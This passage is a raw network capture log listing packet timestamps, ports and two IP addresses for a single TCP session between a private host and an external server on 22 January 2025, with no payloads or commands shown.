Jan 22, 2025 04:12:10.325040102 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325048923 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325066090 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325088978 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325092077 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325102091 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325155020 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325171947 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325181007 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325198889 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325206995 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325227976 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325237989 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325248957 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325258017 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325270891 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325314045 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325314999 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325325966 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325351000 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325360060 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325367928 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325367928 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325388908 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325398922 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325406075 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325409889 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325458050 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325470924 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325539112 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325550079 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325553894 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325557947 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325567007 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325582981 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325592041 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325596094 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325603008 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325611115 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325613022 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325629950 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325659037 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325669050 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325681925 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325685978 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325689077 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325722933 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325740099 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325750113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325752974 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325756073 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325762033 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325824976 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325829029 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325834990 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325849056 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325859070 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325875044 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325879097 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325885057 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325921059 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.325943947 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325953007 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.325970888 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326016903 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326018095 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326029062 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326080084 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326081038 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326092005 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326112032 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326122046 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326143026 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326147079 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326150894 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326163054 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326165915 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326181889 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326205969 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326215029 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326225996 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326234102 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326247931 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326256990 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326267958 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326272011 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326277971 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326307058 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326344013 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326380968 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326390028 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326399088 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326416016 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326422930 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326430082 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326436043 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326440096 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326446056 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326455116 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326473951 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326483011 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326493979 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326494932 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326503992 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326513052 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326529026 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326555967 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326575041 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326601982 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326612949 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326622009 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326632977 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326652050 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326663017 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326663971 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326673031 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326683044 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326692104 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326693058 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326706886 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326715946 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326725006 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326728106 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326741934 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326745033 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326757908 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326776981 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326786995 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326797962 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326807976 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326818943 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326828957 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.326833963 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326865911 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.326879025 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329052925 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329082966 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329098940 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329143047 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329152107 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329154015 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329161882 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329173088 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329194069 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329200029 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329204082 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329214096 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329217911 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329226971 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329230070 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329236984 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329246998 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329246998 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329255104 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329258919 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329268932 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329278946 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329282999 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329292059 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329298019 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329302073 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329312086 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329313040 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329332113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329341888 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329363108 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329389095 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329444885 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329456091 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329473019 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329483032 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329495907 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329499960 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329513073 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329523087 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329530954 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329534054 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329544067 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329554081 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329562902 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329566956 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329587936 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329607010 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329617023 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329622030 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329632044 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329677105 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329699039 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329710007 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329730034 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329737902 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329746962 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329746962 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329751968 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329771042 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329781055 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329793930 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329824924 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329834938 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329834938 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329858065 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329869032 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329885960 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329929113 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.329962969 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.329973936 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330002069 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330010891 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330019951 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330020905 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330039024 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330048084 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330056906 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330066919 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330075026 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330075979 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330092907 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330096006 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330106974 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330126047 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330136061 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330136061 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330157042 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330166101 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330177069 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330197096 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330197096 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330207109 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330224991 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330233097 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330245972 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330262899 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330276966 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330312967 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330333948 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330344915 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330348969 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330400944 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330423117 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330434084 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330481052 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330488920 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330499887 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330507994 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330517054 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330535889 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330544949 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330553055 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330554962 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330564022 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330578089 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330588102 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330609083 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330619097 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330627918 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330632925 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330637932 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330658913 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330670118 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330681086 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330688953 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330696106 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330701113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330744982 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330765963 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330766916 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330792904 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330812931 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330837011 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330842018 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330847979 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330872059 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330881119 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330893040 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330903053 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330913067 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330924034 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330929995 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330933094 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330940962 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330950975 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330960989 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.330977917 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.330991030 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331001043 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331012964 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331029892 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331041098 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331044912 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331072092 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331083059 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331099033 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331127882 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331131935 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331139088 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331165075 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331176043 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331188917 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331196070 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331207037 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331238031 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331269026 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331279039 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331279993 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331299067 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331307888 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331329107 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331363916 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331412077 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331423044 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331439972 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331455946 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331459045 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331470013 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331497908 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331499100 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:10.331509113 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331517935 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331537008 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331546068 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331554890 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331563950 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331571102 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331588984 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331598997 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331629038 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331638098 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331691027 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331700087 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331703901 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331712961 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331732988 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331742048 CET	16383	49733	192.144.32.84	192.168.2.4
